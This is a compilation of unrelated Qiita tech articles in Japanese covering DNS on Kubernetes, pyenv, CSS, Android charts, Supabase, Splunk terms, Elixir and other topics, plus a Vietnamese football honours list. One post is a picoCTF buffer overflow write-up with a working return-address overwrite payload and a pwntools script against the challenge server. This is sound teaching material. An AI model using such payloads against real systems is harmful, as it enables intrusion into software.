OmniAICreator/Qiita-1.07M huggingface dataset:
研究室のネットワークのDNS構築した時の話

# はじめに
研究室のDNSをKubernetes上に作成しました．
仮想マシンを3台作成し，master3台のKunbernetesクラスターを構成しました．
githubにあったhelmのpowerdnsを使いました．

https://github.com/cdwv/powerdns-helm

githubにあったhelmのpowerdnsのrecorsorも使いました．

https://github.com/yeyus/pdns-recursor-helm

# 大変だったこと
### 構成のこと
キャッシュサーバーなんかなくても権威サーバーだけあればなんとかなるだろと思ってたこと．
本番環境に権威サーバーだけ実装したら，再帰的名前解決ができなくて困った．
テスト環境には，DNSとDHCPしかなかったけど，本番環境には踏み台サーバーもありました．
テスト環境と本番環境の違いを全く意識してませんでした．

### resolv.confのこと
権威サーバーを実装をインストールしたら名前解決ができなくなってキャッシュサーバーのインストールができなくなりました．
resolv.confのnameserverが127.0.0.1になっていたので，8.8.8.8に変えたかった．resolv.confは書き換えても，すぐに元に戻ってしまうのでだめでした．
systemd-resolved.serviceを止めることで，書き換えることができました．


# 権威サーバーの作成
git cloneでもってきてvalues.yamlを編集しました．
レプリカ数を変えたり，LoadBalancerにしたりしました．
権威サーバーだけだと特に何の問題もなくできました．

# キャッシュサーバーの作成
こっちもgit cloneでもってきてvalues.yamlを編集しました．
レプリカ数を変えたり，LoadBalancerにしたりしました．
ここでいろいろ問題が起きました．権威サーバーとポートが被っていることに気づかずLoadBalancerにしていて，EXTERNAL-IPが振られませんでした．ポートは，確認しましょう．
forward-zonesの指定でKubernetesのサービス名を使おうとしました．だめでした．IPアドレス以外受け付けてくれないみたいです．
```values.yaml
config: |-
      daemon=no
      local-address=0.0.0.0
      local-port=53
      allow-from=0.0.0.0/0
      setgid=recursor
      setuid=recursor
      forward-zones=a910.tak-cslab.org=192.168.100.35:5300  #折角Kubernetesだし，ここにservice名入れたかった
      forward-zones-recurse=.=10.200.70.35,.=1.1.1.1
      webserver=yes
      webserver-port=8082
      webserver-address=0.0.0.0
      api-config-dir=/data
      include-dir=/zones
      auth-zones=
```

# おわりに
```
$ kubectl get pod
NAME                                       READY   STATUS    RESTARTS    
pdns-mariadb-master-0                      2/2     Running   2 (6d ago)  
pdns-mariadb-slave-0                       2/2     Running   2 (6d ago)    
pdns-powerdns-helm-7564649788-grlqh        1/1     Running   3 (6d ago)     
pdns-powerdns-helm-7564649788-jw625        1/1     Running   4 (6d ago)      
pdns-powerdns-helm-7564649788-mtktv        1/1     Running   4 (6d ago)      
recu-pdns-recursor-helm-79bd5bc76d-4krp7   1/1     Running   2 (6d ago)     
recu-pdns-recursor-helm-79bd5bc76d-sm5nv   1/1     Running   2 (6d ago)      
recu-pdns-recursor-helm-79bd5bc76d-tbp25   1/1     Running   2 (6d ago)      
```
権威サーバーとキャッシュサーバーをそれぞれレプリカ数３で作成し，kubectl get podで確認しました．無事動きました．
知識がなかったり，テスト環境と本番環境の違いに気づかなかったり，大変でした．
特にテスト環境と本番環境の違いには気を付けたほうがいいことを学びました．
MacにpyenvをつかってPythonを入れる

## 概要

Macのローカルに直接pyenvを使ってPythonを入れる方法を簡単にまとめる。

## 前提

Macのhomebrewが入っていること。

## 情報

今回はMacにPythonの3.10.0をインストールしてみる。

## 方法

1. 下記を実行してpyenvを取得

    ```sh
    brew update
    brew install pyenv
    ```
1. 下記を実行して`~/.bashrc`を展開

    ```sh
    vi ~/.bashrc
    ```

1. `~/.bashrc`に下記の内容を記載

    ```.bashrc
    # pyenvの初期化
    if command -v pyenv 1>/dev/null 2>&1; then
      eval "$(pyenv init --path)"
      eval "$(pyenv init -)"
    fi
    ```

1. 下記を実行して`~/.bashrc`を読み込み

    ```sh
    source ~/.bashrc
    ```

1. 下記を実行して`$ pyenv`のコマンドが通ることを確認（command not foundが出ないことを確認）

    ```sh
    pyenv -h
    ```

1. 下記を実行してPythonの3.10.0をインストール

    ```sh
    pyenv install 3.10.0
    ```

1. 下記を実行してPythonのグローバルバージョン設定を実施

    ```sh
    pyenv global 3.10.0
    ```

1. 下記を実行してPythonのバージョンを確認

    ```sh
    python --version
    ```

1. 3.10.0のバージョンが表示されれば作業完了
横スクロールバーが邪魔！100vw設定で注意すべきポイント

## 100vwで横スクロールバーが出ちゃうの、センスないと思う　—コンテナクエリで解決しよう！

ウェブデザインにおいて、横いっぱいに表示するレイアウトはよく行われますが、`100vw`（ビューポート幅）を使う際に、予期せぬ横スクロールバーが現れることがあります。この問題はデザインの見た目だけでなく、ユーザーエクスペリエンスにも影響を与え、好ましくありません。今回は、`100vw`によって発生する横スクロールバーの原因と、その解決法として「コンテナクエリ」を使う方法をご紹介します。

### 横スクロールバーの原因

まず、なぜ`100vw`で横スクロールバーが表示されるのか、その原因を解説します。`vw`はビューポートの幅を基準にした単位で、例えば以下のように使われます。

```css
.full-width {
  width: 100vw;
}
```

これは、要素の幅がビューポート（ウェブページを表示するための領域）の幅と同じになるように指示しています。しかし、ブラウザのスクロールバーの幅も`100vw`に含まれてしまうため、縦スクロールバーが表示されると、コンテンツが横に広がり、結果として横スクロールバーが表示されることがあります。

![スクリーンショット (236).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3623476/e4fc0724-7b0d-762d-9f66-5e6450e5166c.png)


### コンテナクエリでの解決方法

この問題を解決する方法は沢山ありますが、position:fixedを使用しない場合、**コンテナクエリ**を使う方法が非常に簡単です。コンテナクエリは、要素の親コンテナのサイズに基づいてスタイリングを変更する機能で、これによりコンテナのサイズに合わせたレイアウト調整が可能になります。
body要素をインライン・サイズのコンテナ・タイプにすることで、`100vw`の代わりに`100cqw`という長さ（この場合はbodyの幅）を使うことができます。

※bodyにcontainer-typeを指定すると、body内部の要素でのposition:fixedが無効化されてしまいます😥position:fixedを使う場合はJavaScriptを使うなど他の手段を選ぶ必要があります。


```css
body {
  margin: 0;
  container-type: inline-size;
}

.full-width {
  width: 100vw; /* 古いブラウザのためのフォールバック */
  width: 100cqw;
}
```


**実際の例**

```html
<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8">
	<meta name="viewport"
				content="width=device-width, initial-scale=1.0">
	<title>コンテナクエリの例</title>
	<style>
		*, *::before, *::after {
			box-sizing: border-box;
		}
		* {
			margin: 0;
		}
		body {
			container-type: inline-size;
		}
		.content {
			height: 150svh;
			width: 100cqw;
			background-color: #aaa;
		}
	</style>
</head>

<body>
    <div class="content">
        <p>テスト</p>
    </div>
</body>
</html>
```
![スクリーンショット (237).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3623476/e6c11671-ba1a-25a9-9485-167dce366413.png)


### まとめ

`100vw`を使用した際に横スクロールバーが表示される問題は、コンテナクエリを利用することで簡単に解決できます。是非活用してみてください！
ValueFormatter

`SimpleDateFormat` は改行コード `\n` をそのまま文字列として扱うため、フォーマット中に含めても改行されません。そのため、`SimpleDateFormat` を使って日付と時間をフォーマットした後に、改行を追加する必要があります。

以下は改行を追加する方法の例です。

```java
import com.github.mikephil.charting.formatter.ValueFormatter;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;

public class MyValueFormatter extends ValueFormatter {

    private final SimpleDateFormat dateFormat = new SimpleDateFormat("MM-dd", Locale.getDefault());
    private final SimpleDateFormat timeFormat = new SimpleDateFormat("HH:mm", Locale.getDefault());

    @Override
    public String getFormattedValue(float value) {
        long unixSeconds = (long) value;
        Date date = new Date(unixSeconds * 1000L); // UNIX時刻は秒単位なのでミリ秒に変換
        String datePart = dateFormat.format(date);
        String timePart = timeFormat.format(date);
        return datePart + "\n" + timePart;
    }
}
```

このようにして、日付部分と時間部分を別々にフォーマットし、それらを改行で結合します。

このフォーマッターをグラフに適用する手順は以下の通りです。

```java
LineChart lineChart = findViewById(R.id.lineChart);
LineData data = lineChart.getData();
if (data != null) {
    LineDataSet dataSet = (LineDataSet) data.getDataSetByIndex(0); 
    dataSet.setValueFormatter(new MyValueFormatter());
    lineChart.invalidate(); // グラフを再描画
}
```

これで、UNIX時刻を「月-日\n時間:分」という形式に変換し、日付と時間を改行して表示することができます。

MPAndroidChartの`ValueFormatter`を使って、KotlinでUNIX時刻を日付と時間に改行して表示する方法を以下に示します。

まず、カスタム`ValueFormatter`を作成します。

```kotlin
import com.github.mikephil.charting.formatter.ValueFormatter
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale

class MyValueFormatter : ValueFormatter() {

    private val dateFormat = SimpleDateFormat("MM-dd", Locale.getDefault())
    private val timeFormat = SimpleDateFormat("HH:mm", Locale.getDefault())

    override fun getFormattedValue(value: Float): String {
        val unixSeconds = value.toLong()
        val date = Date(unixSeconds * 1000L) // UNIX時刻は秒単位なのでミリ秒に変換
        val datePart = dateFormat.format(date)
        val timePart = timeFormat.format(date)
        return "$datePart\n$timePart" // 日付と時間を改行で結合
    }
}
```

次に、このフォーマッターをグラフのX軸に適用します。

```kotlin
val lineChart: LineChart = findViewById(R.id.lineChart)
lineChart.xAxis.valueFormatter = MyValueFormatter()
lineChart.invalidate() // グラフを再描画
```

改行コードが正しく表示されない場合、Unicodeの改行文字（`\u000A`）を使用してみます：

```kotlin
class MyValueFormatter : ValueFormatter() {

    private val dateFormat = SimpleDateFormat("MM-dd", Locale.getDefault())
    private val timeFormat = SimpleDateFormat("HH:mm", Locale.getDefault())

    override fun getFormattedValue(value: Float): String {
        val unixSeconds = value.toLong()
        val date = Date(unixSeconds * 1000L) // UNIX時刻は秒単位なのでミリ秒に変換
        val datePart = dateFormat.format(date)
        val timePart = timeFormat.format(date)
        return "$datePart\u000A$timePart" // Unicodeの改行文字を使用
    }
}
```

再度、これをX軸に適用します。

```kotlin
val lineChart: LineChart = findViewById(R.id.lineChart)
lineChart.xAxis.valueFormatter = MyValueFormatter()
lineChart.invalidate() // グラフを再描画
```

これでも改行が反映されない場合、MPAndroidChart自体が改行に対応していない可能性があります。その場合は、カスタムの描画ロジックを実装するか、改行の代わりにスペースを使うなどの代替方法を検討する必要があります。
VercelでModule not found: Can't resolve 'date-fns'のエラー

## はじめに
すごい初歩的ですが、「Module not found: Can't resolve 'date-fns'」のエラーが発生したので、その対処法を書いておきます。

## VercelでModule not found: Can't resolve 'date-fns'のエラー
ローカルでnpm run buildした際は何も問題なかったのですが、Vercelにデプロイすると以下のエラーが発生しました。

```
[11:41:39.815] Failed to compile.
[11:41:39.816]
[11:41:39.816] ./src/app/components/ReportList.tsx
[11:41:39.816] Module not found: Can't resolve 'date-fns'
[11:41:39.816]
[11:41:39.817] https://nextjs.org/docs/messages/module-not-found
```

date-fnsは日付のフォーマットで使用していました。

## 解決方法
シンプルに対象プロジェクトでnpm i date-fnsしてなかったためです。

ローカルで使えてたのはおそらく前にdate-fnsをグローバルにインストールしていたのかもしれません。

## おわりに
ローカルでうまくいくのに、デプロイするとうまくいかないはあるあるなので、今後も意識しながらやっていきたいです。
Pの逆行列が存在することの証明の流れ

『スバラシク実力がつくと評判の線形代数キャンパス・ゼミ 改訂３』（マセマ、馬場 敬之）P.226で、Pの逆行列($P^{-1}$)が存在することの証明の流れとして、以下の定理を羅列している。

```math
\mathbf{x_{1}} と \mathbf{x^{‘}_{1}}が線形独立 
```
```math
\Longleftrightarrow 行列 \mathbf{P} = \begin{bmatrix} \mathbf{x_{1}} & \mathbf{x^{‘}_{1}} \end{bmatrix}のランクは２
```
```math
\Longleftrightarrow \begin{eqnarray} | \mathbf{P} | \neq \mathbf{0} \end{eqnarray} \\ 
\Longleftrightarrow \mathbf{P^{-1}}　は存在する。
```

この証明の流れは、どこから来たのだろうか。これは、線形独立と線形従属の定義の例題であるP.129-130から来ている。
もしも大学一年生くらいに戻れたらこれをやるかなってリスト

最近、学生の間に猶予しておいてもらった年金の追加支払いの通知が来て社会人としての人生がすでに人生の20パーセントくらいを占めていることを実感した。

（単に忘れていたんだが、払う気があるなら早めに払っておくと、お安くて良いと思う。）

いまだに単位を取り損ねて焦る夢を見ており、学生時代はそう遠いときとも思えないのだが、遠くに来たものである。

今思うと大学生時代にやっておけばよかったな～と思うことがたくさんある。

こいつに未来からの私が語り掛けてもあんまり改心してくれる気はしねぇので、こいつができそうな範囲の小さい努力を述べてみます。

# 基本情報技術者試験をとる(受験する、でもよい）

社会人になった今も、あまり社会に適応している感じがないが、わかりやすい接点として手堅い資格の勉強をしている。
なんとなく、偏屈なお前をどっかでは助けてくれるだろう。
お勉強しておくと得である。

意欲を保つために、もちょっと難易度の低いITパスポートから入ってもいいすね。

「役に立つの？」と言われれば、日本の企業なら見てくれるし、会社によっては給料あがるし、役に立たせやすいです。

あと更新がいらんので一度取ったらオッケーなのも、お手軽でよい。

実際、役に立つかと言われれば、ダイレクトにではないんだけどじわじわ染みてくるときがあった。バイナリを読まなきゃいけない時に16進数を10進数にしたりとか、ネットワークつなぐときとか。よいぞ。

試験料でビビるかもですがAWSとかGCPの奴と比べりゃ安い。
就職してからとったが大学生に勧めるならこれだ。手堅く外さない。外資系とかすごいレベルだと意味ないかもしれん。何取ればよいかわからないよぉ～～って努力を向ける先ならこれ。

# フリー（orシェア）のソフトウェアを開発してGitHubで公開する

人に見せるためのポートフォリオ、作っておくと楽しそうっす。
これは一生使うつもりで、やってくといいね。

内容がオタク過ぎて公開できない？　それは……まあ……。

IT企業、かなりゆるゆるなオタクめいた雰囲気のところと、お堅めのところがあります。
最終的に今いるところは堅いので、刺さらんかもしれんけど、積み立てと思って自分の場所を確保しておくとよさげである。

### （できたら）コントリビューションしてみてほしい

人の家の簡単そうなやつにドキュメントとかでいいからコントリビューションして、就活のとき添えてみてほしい。
俺の能力だと、きっと、でっかくてすごいところよりも小さくてお手伝いでありがとーって言ってもらえるところがいいかな。

# IT系のアルバイトしてみる

アルバイトはしてたんですが、IT企業系の案件をとってきてやるタイプのアルバイトもやってみてほしいっすね。
なんていうか、こうすればお金がもらえるっていう経験はすごい良い。
その手段を確立しておけば、数千円、その気になればこうすればまかなえるなって感触があれば、心の支えになる。かなりなる。

うまくいけばフリーランスになれるかもしれません。いや～やっぱ、俺には無理かな。9時18時で管理されてるほうが健康でいられるかもしれんのよな。ラクな人生を選んでたら会社員になったタイプだから……。

### （できたら）月数百円でもたまに入ってくる活動をする

クリエイター崩れなもんで……これはやってましたね。
プログラミングとかじゃなくてもよい。趣味でもよい。

月いくら稼げるサービス（広告収入）っぽいのはようわからんけどやってみたら面白いかもな。俺にできるとは思えないんだけども。今できてないし。

あ、就活のときは副業規定に注意な。公務員とか厳しいよ。
一般企業は禁止されてるところもまああるけど。

競合他社になんか漏らしちゃったり、利益を害さないように気を付けて。

ほっといたらちびちびお金が増える状態は大変良いので、なんかやってみるとよさげである。
株とかはじめても楽しいかもな。生活資金は手を付けず、余剰資金でやるんだぞ。
でも投資信託がいいと思うな。まあ就職してからでもよさそうだ。FXは俺はやんないと思うけど、やめといたほうがいいと思う。ま、株なら最悪紙切れで済むはずだから……。

# SNSで就活してみる

就活は自分にとってはあまり面白くなかったのでSNSでも就活してみたいなと思う。カジュアル面談とかしてみたらいいんじゃないか。
うまくいく気はしないのでしてみるレベルでよいですよ。

### 商材には気を付けてね

ただし、SNSには高いお金を払ってもらって学生を客にしようという感じの商材があふれかえっており、自分の大学生くらいのリテラシーでうまいこと避けられるか自信がない。

商材と無意味な断言と年収1000万以上のるつぼでありたいへんなことになるかもしれん。年収1000万になったら教えてくれ。

高等な自習教材は世にあふれていてなんでも学べる時代だし、それよりも何をしたいかが重要である。

ヘンなものに金を払うくらいならゲーミングPCを買ってゲーミングするほうが有益だと思う。

「学内PCは買うな」とはたまーに言われるが、まあたしかによくはなかったが、俺たちはゲーマーでありエンジニアになるのだからゲーミングPCを買えくらいの意味かもしれん。アプリじゃないPCソフトの開発ならWindowsか？
デザインや作曲、動画寄りの活動をするならMacなのかな。あとiPhoneアプリの開発ならMac。アプリ開発・Web系を志すならMacなのかもしれないのだがお前は（俺は）Skyrimに夢中だろうから。

# 大学生時代の俺に言ってもやんなそうだけどやるとうれしいかもしれないこと

### TOEICやってみる？

TOEIC、やろうかと思ってやらなかったんだけど、ま、別にいらなかったんだけど、あるかどうかを見てる企業も多かったから興味があるならやってみてもいいかもな。永続的なやつじゃなかったはずだから、今続いてる気はしないけど……。

英語に苦手意識がないと、英語のドキュメントが読めるので強い。

### 自作PCやってみる？

暇があったらパソコン組み立てたらマニアックなのかもしれんけど、今の俺もやってないからなあ。メモリの増設くらいでさ……。まやっとくといい経験が積めるかもな。

### AtCoderやってみる？

数学が苦手で死にかけているお前（過去の俺）にはつらいことだろうがかじってみてもいいんじゃあないか。
エンジニアにも知って欲しいGoogleスプレッドシートのピポットテーブル活用方法

# はじめに
Googleスプレッドシートでのデータ集計において、COUNTIFSを使っている方も多いですが、ピポットテーブルを活用すると簡単に集計できます。
今回はピポットテーブルの活用方法について紹介します。
・ピポットテーブルの作成
・計算フィールドの追加
・グルーピング
・フィルタリング
・ソート

# 実例
元データは以下の通りです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/3a4f17c7-6256-3706-6d80-4df5e5f09416.png)

これをピポットテーブルを使って以下のように集計します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/4e597bf3-974f-e99d-7c7d-fabb58125efd.png)
＜集計要件＞
・案件名X納品年月で集計
・表示する数値は社内工数と社外工数の合計値
・集計期間は2024年4月から10月まで
・案件毎の合計値が多い順に並べ替え

以下、手順を詳しく説明します。

# ピポットテーブルの作成
まず初めにピポットテーブルを作成します。
1.「挿入」→「ピボットテーブル」を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/65e411f4-d7ef-ad29-6251-d14a84095aeb.png)
2.データ範囲として元データ全体を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/7f5f48b2-aa62-5d48-eb34-365bbc3f6165.png)

3.空のピポットテーブルが作成されるので、ピポットテーブルエディタで行に案件名、列に納品日を追加します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/86819818-aeca-e801-8338-382270b0c8e6.png)

# 計算フィールドの追加
次に値に社内工数と社外工数の合計値を表示させます。
1.値に計算フィールドを追加します。
<img width=400px src='https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/5dbad018-90a7-591b-bc66-80abf794dbda.png'>

2.数式として「='社内工数(人日)'+'社外工数(人日)'」を入力します。
<img width=400px src='https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/02860c08-d49f-d53f-4b05-16865a9e71c8.png'>
実行後のピポットテーブルは以下のようになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/57fde3b1-84d9-22df-49d3-68a8de5bf7ae.png)

# グルーピング
列が納品年月日になっているので年月にグルーピングします。
納品日を１つ選択した状態で右クリック-「ピポット日付グループを作成」-「年-月」を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/086d71f0-4cc8-7b54-c8a3-6828528166d6.png)
これにより、実行後のピポットテーブルが次のように表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/88e269cf-7043-d6ec-7c7f-481f9972ef7a.png)

# フィルタリング
集計期間を2024年4月から10月に絞るため、フィルタリングを行います。
1.フィルターを追加し、納品日を選択します。
<img width=400px src='https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/41d35075-38a9-f004-7640-e3563e538238.png'>
2.集計期間外の項目にチェックを外します。
<img width=400px src='https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/1a82aaa6-427c-bf91-99f8-c3d364a07c6e.png'>
すると、2024年11月の列が削除されたピポットテーブルが表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/eb88be2a-1c3d-8d41-7b33-65dace642767.png)

# ソート
最後に、案件毎の合計値を多い順に並べ替えます。
<img width=400px src='https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/767ec99f-f4c6-38de-b861-550939d445fa.png'>
これにより、実行後のピポットテーブルは次のようになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659381/94a652a9-e691-8ef1-004f-eb66a4389beb.png)
以上で作業は完了です。

# 最後に
ピポットテーブルを使用することで、複雑な集計処理を簡単に行うことができます。
データのグルーピング、フィルタリング、ソートを使いこなすことで、要件に応じた柔軟なレポートを作成できます。
ぜひこれらの手順を参考に、効率的なデータ分析を実現してください。
picoCTF 2022 writeup buffer overflow 1

## buffer overflow 1(Binary Exploitation)

Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net 53578

配布ファイル
・vuln
・vuln.c

とりあえず、`nc saturn.picoctf.net 53578`を実行してみる。
```
> nc saturn.picoctf.net 53578
Please enter your string: 
abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
Okay, time to return... Fingers Crossed... Jumping to 0x76757473
```
入力した文字の一部が出てきた。おそらく、`44文字+4文字(リトルエンディアン)`で何かするとフラグが出てきそうだ。
vlun.cを見てみると、
```c
void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
```
flag.txtを読み込んでいるwin関数を発見。この関数のアドレス値を+4文字の部分に入れる。アドレス値は`0x080491f6`。アドレス値は、readelfで探すか逆アセンブルして探す。
```
63: 080491f6   139 FUNC    GLOBAL DEFAULT   13 win)
```
```  
                     win                                             XREF[3]:     Entry Point (*) , 0804a0e0 , 
                                                                                          0804a17c (*)   
080491f6 f3  0f  1e  fb    ENDBR32
```
`(python3 -c 'import sys; sys.stdout.write("a"*44)'; echo -e '\xf6\x91\x04\x08') | nc saturn.picoctf.net 53578`を実行する。

```
> (python3 -c 'import sys; sys.stdout.write("a"*44)'; echo -e '\xf6\x91\x04\x08') | nc saturn.picoctf.net 53578
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_5c6baa9e}
```
フラグが得られた。

`picoCTF{addr3ss3s_ar3_3asy_5c6baa9e}`

以下、実行コード。
```python
from pwn import *

p = remote("saturn.picoctf.net", 53578)

payload = b"a"*44
payload += p32(0x080491f6)

p.sendline(payload)

p.interactive()
```
Các thành tích của cầu thủ Kylian Mbappé trong sự nghiệp

Ligue 1: Vô địch 2016-17.
Ligue 1: 5 lần vô địch (2017-18, 2018-19, 2019-20, 2021-22, 2022-23).
Coupe de France: 3 lần vô địch (2017-18, 2019-20, 2020-21).
Coupe de la Ligue: 2 lần vô địch (2017-18, 2019-20).
Trophée des Champions: 3 lần (2019, 2020, 2022).
ViteとReactを使用してSupabaseからレコードを取得する(準備編)

## Supabaseからレコードを取得する
https://supabase.com/docs/guides/getting-started/quickstarts/reactjs

取得までの一連の流れは上記Docsに書いてあります。が


```src/App.jsx
const supabase = createClient("https://<project>.supabase.co", "<your-anon-key>");
```
ここではSupaBaseクライアントを作成する際にプロジェクトのURLと匿名キーを渡しています。

:::note warn
環境変数の使用
匿名キーや他の機密情報は、環境変数などの安全な方法で設定し、クライアントサイドのコードでこれらの環境変数を参照するようにします。例えば、Viteの場合は.envファイルを使用して環境変数を管理し、import.meta.env経由でアクセスします。
:::

## 環境変数を使用してSupabaseからレコードを取得する準備
```.env
//必ずプロジェクトのルートフォルダに作成すること
VITE_SUPABASE_URL=https://<project>.supabase.co
VITE_SUPABASE_ANON_KEY=your-anon-key
```

```App.jsx
//npm install @supabase/supabase-j を実行している前提
import { createClient } from '@supabase/supabase-js';

const supabaseUrl = import.meta.env.VITE_SUPABASE_URL;
const supabaseAnonKey = import.meta.env.VITE_SUPABASE_ANON_KEY;

const supabase = createClient(supabaseUrl, supabaseAnonKey);
```

公開中のリモートリポジトリにpushする場合は、.gitignoreにenvを記述するのを忘れないようにしましょう。

```.gitignore
# Environment variables
.env
```
armbm-mruby始めました

もともとKS8695という古いARM V4のSOCをサポートするために作ったレポジトリ(ksbm-mruby)だったのですが、他のARMのSOCもサポートできるように整理してみました。

https://github.com/yamori813/armbm-mruby

ターゲット固有の部分は以下のようになります。

KS8695.mk - ビルドの設定を入れてあります。ターゲット固有のファイルはここに追加します。またロードアドレスも設定しています。ターゲットによってu-bootの圧縮のサポートが違ったりするので、ここで吸収しています。

ks8695/* - ターゲット固有のソースファイル

main.c - ks8695/ks8695.hをincludeして物理メモリの配置やCFIフラッシュの物理メモリを拾うようにしています。

整理したリポジトリにRT1310(ARM V5)のサポートコードを追加してあります。個別のサポートはuart,割り込み,timerのみ作ってあります。これでsamples/hello.rbは動きます。

make TARGET=RT1310でビルドできます。

各種ライブラリのビルドはV4であればV5でも使えるので、そのままにしてあります。
【Splunk】Splunk翻訳ドキュメントで使用される(基本的な)英訳用語集

こんばんは。torippy1024です。
今日は、Splunk用語の日本語訳について学びます。
Splunkのドキュメントは英語が多く、日本語版ドキュメントはあまり豊富ではありません。
このため私のように英語が苦手な人であっても、英語版ドキュメントを参照しなければならないことも多々あります。
しかし日本語を元々の英語に逆翻訳できずよく困っているので、今回自分用に用語集を作成しました。
(Splunkを触り始めの頃に作っており下書きのまま放置していたのですが、ようやく公開することにしました)

# 用語集

|英語|日本語|意味|
|---|---|---|
|Calculated Field|計算されたフィールド|サーチ実行時について、Transformingコマンドなどで計算、統計処理等を行い、サーチ結果に新しく追加されたフィールド。|
|Common Information Model(CIM)|共通情報モデル|データモデルの一種。異なるセキュリティ製品やシステムからの情報を共有・標準化して利用するための共通データモデル。
|Data Model|データモデル|ある典型的なデータやソースに対して、フィールド、イベント、操作などをあらかじめ定義したモデル。|
|Data Model Acceleration|高速化されたデータモデル/データモデルアクセラレーション|特定のデータモデルに対して、バックグラウンドでデータを収集してサマリーインデックスを作成しておくことで高速化するslunkの機能。|
|Default Field|デフォルトフィールド|Splunkが全てのイベントに対して、デフォルトで作成するフィールド。index, host, source, sourcetype, timestampなどがある。|
|Event|イベント|Splunkがインデックス内部に保存するデータの単位。例外はあるが、ログの一行のことを指すことが多い。|
|Field|フィールド|Splunkがサーチを実行する際に指定するキー - 値ペアのこと。|
|Field Discovery|フィールドディスカバリー|Splunkがサーチを実行する際に自動でフィールドを抽出する機能のこと。|
|Field Alias|フィールドエイリアス|フィールドのエイリアス(別名)。あるフィールドに対して、同じフィールドを指す別名を付与することができる。|
|Field Extraction|フィールド検出|インデックス化されたデータからSplunkにフィールドを認識させること。|
|Health Check Report|健全性レポート|Splunk自身のステータスを管理できる機能。|
|index|インデックス|Splunkがイベントを保管する場所。|
|Ingest Action|取り込みアクション|特定の条件に基づいてデータを処理する定義。これによって、特定の条件に合致するデータを自動的に指定した形式に変換しておくことができ、サーチや可視化を効率的に実施できる。|
|Interesting Field|関連するフィールド|サーチ実行時、得られた結果の20%以上に存在するフィールド。(直訳したドキュメントなどで「興味深いフィールド」等と訳されてしまう場合があり要注意)|
|Knowledge Object|ナレッジオブジェクト|Splunkにおける設定や構成情報のこと。フィールド、アラート、レポートなどもナレッジオブジェクトの一つ。|
|Macro|マクロ|パターン化された複数のサーチ文をまとめて定義しておく方法。マクロを使用することによって、引数のみを変更させて同様のサーチ文を使い回すことができる。|
|Pivot|ピボット|Splunk　Web上でデータを分析・可視化するためのツール。|
|Report Acceleration|高速化されたレポート/レポートアクセラレーション|頻繁に実行される検索クエリの結果を事前に計算し保存しておくことでレポートを高速化させる機能。|
|Selected Field|選択されたフィールド|サーチ実行時、デフォルトでサーチ結果画面左のメニューに表示されるフィールド。デフォルトではhost, source, sourcetypeの3つで、追加することも可能。(デフォルトフィールドと同じようなフィールドが表示されているが、同じものではないことに注意)|
|Tag|タグ|データを分類し、識別するためのラベル。Case Sensitive(大文字小文字を区別する)。|
|Transforming Command|トランスフォーミングコマンド|サーチ結果を変換、整形するためのコマンド。サーチ結果を表形式に変換し、Visualizationに使用するなどの用途で用いる。|
|Transaction Command|トランザクションコマンド|異なるデータソースに散らばっているイベントについて、トランザクション(ユーザーから見た実行単位)で関連するイベントを抽出するためのサーチコマンド。例えばトランザクションIDを指定して、WEBサーバー、アプリケーションサーバー、DBサーバーのそれぞれのサーバーや異なるインデックスから関連するログを取得するために使用する。|
|Visualizations|視覚化/可視化/ビジュアライゼーション|Splunkのサーチ結果を表やグラフ化する機能のこと。|
|Workflow Action|ワークフローアクション|Splunk上で特定のイベントや検索結果をトリガーとして、メール送信やスクリプト実行などのアクションを実行する仕組み。|

※正当性は保証できていません。すいません・・・。
paiza.ioでelixir その299

# 概要
paiza.ioでelixirやってみた。
ABC086C Traveling　見つけたのでやってみた。

# 参考にしたページ

https://qiita.com/zacky1972/items/810a7e8567dbd1688ae3


# サンプルコード


```

defmodule Main do
    @bl 65536
    defp st(_h, {l1, l2, 0}), do: {:halt, {l1, l2, 0}}
    defp st(h, {l1, l2, n}) when n > 0 do
        h = Enum.join(l1 ++ ["#{l2}#{h}"], " ")
        if String.match?(h, ~r/\n/) do
            l = String.split(h, "\n")
            c = Enum.count(l)
            last = Enum.take(l, -1) 
                    |> hd()
            l = Enum.take(l, c - 1)
                |> Enum.map(&String.split(&1, " "))
                |> Enum.map(fn l -> 
                    Enum.map(l, &String.to_integer/1) 
                end)
            n = n - (c - 1)
            if String.match?(last, ~r/ /) do
                l1 = String.split(last, " ")
                c = Enum.count(l1)
                l2 = (Enum.take(l1, -1) |> hd())
                l1 = Enum.take(l1, c - 1)
                {l, {l1, l2, n}}
            else
                {l, {[], last, n}}
            end
        else
            {[], {l1, h, n}}
        end
    end
    defp s([tp, xp, yp], [to, xo, yo]) do
        td = abs(tp - to)
        xd = abs(xp - xo)
        yd = abs(yp - yo)
        t = td - (xd + yd)
